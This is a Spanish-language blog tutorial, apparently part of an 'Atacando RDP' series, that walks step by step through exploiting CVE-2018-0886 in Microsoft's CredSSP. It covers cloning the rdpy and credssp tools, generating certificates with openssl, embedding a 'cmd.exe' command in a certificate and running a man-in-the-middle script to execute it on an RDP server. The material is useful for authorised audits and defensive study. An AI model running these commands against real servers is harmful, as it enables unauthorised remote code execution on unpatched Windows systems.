Muy buenas a todos!
Esta semana vamos a realizar una ejecución remota de código a través de la conexión a escritorio remoto, abusando de la última vulnerabilidad descubierta en el protocolo CredSSP de Microsoft.
Anteriormente pudimos ver cómo atacar a un cliente en Atacando RDP – Parte I (MitM con Seth) o cómo utilizar la conexión a escritorio remoto para conseguir un acceso al servidor en Atacando RDP – Parte II (Sticky Keys Hunter). Pues bien, hoy toca hacer algo diferente. Vamos a ejecutar código directamente en el servidor a través de la inyección de un payload en el propio certificado de autenticación.
Como podéis ver, esta técnica se parece mucho a la que utiliza Seth. La diferencia radica en que esta vez la víctima será el servidor y no el cliente. Esta vulnerabilidad está catalogada con el identificador CVE-2018-0886, aquí os dejo más información: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0886
Ahora que ya sabemos la teoría, vamos a por la parte práctica 🙂
Lo primero que haremos será descargar las herramientas necesarias:
git clone https://github.com/preempt/rdpy.git rdpy git clone https://github.com/preempt/credssp.git
A continuación instalaremos la herramienta que infectará el certificado:
cd credssp/install sh install.sh
Seguimos con la instalación de la herramienta que hará el MiTM:
cd ../../rdpy python setup.py install
Llegados a este punto, necesitaremos crear un certificado válido para poder inyectar el payload malicioso. Para ello utilizaremos los siguientes comandos en nuestra terminal:
openssl genrsa -out darkbyte.key 4096 openssl req -x509 -new -nodes -key darkbyte.key -days 3650 -out darkbyte.pem
Ahora crearemos un fichero de configuración, llamado openssl-ext.conf e introduciremos lo siguiente:
[client_server_ssl] extendedKeyUsage = serverAuth,clientAuth
Y por último generamos el certificado final:
openssl genrsa -out darkbyte.key 4096 openssl req -new -key darkbyte.key -out darkbyte.csr openssl x509 -req -extensions client_server_ssl -extfile openssl-ext.conf -in darkbyte.csr -CA darkbyte.pem -CAkey darkbyte.key -CAcreateserial -out darkbyte.crt -days 3650
Ya lo tenemos todo listo, ahora vamos a preparar el certificado con el comando que queremos inyectar en el servidor. En este caso yo he decidido lanzar un símbolo del sistema en la víctima:
python credssp/bin/gen_cmd.py --dump -c darkbyte.crt -o exploit.pem -k darkbyte.key "cmd.exe"
Listo! Ya podemos lanzar el ataque. En este ejemplo yo lo he lanzado contra la IP 192.168.160.100:
python /usr/local/bin/rdpy-rdpcredsspmitm.py -k darkbyte.key -c exploit.pem ip-de-la-víctima
Si todo ha salido bien, aparecerá un símbolo del sistema en el servidor indicando que nuestro ataque ha sido realizado con éxito.
Recientemente Microsoft ha lanzado un parche para solucionar esta vulnerabilidad, pero aún existen muchos sistemas operativos vulnerables al ataque que hemos visto hoy.
A continuación os dejo un vídeo de los autores, en el que reproducen el ataque y explican cómo funciona:
Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.
Nos vemos en la próxima!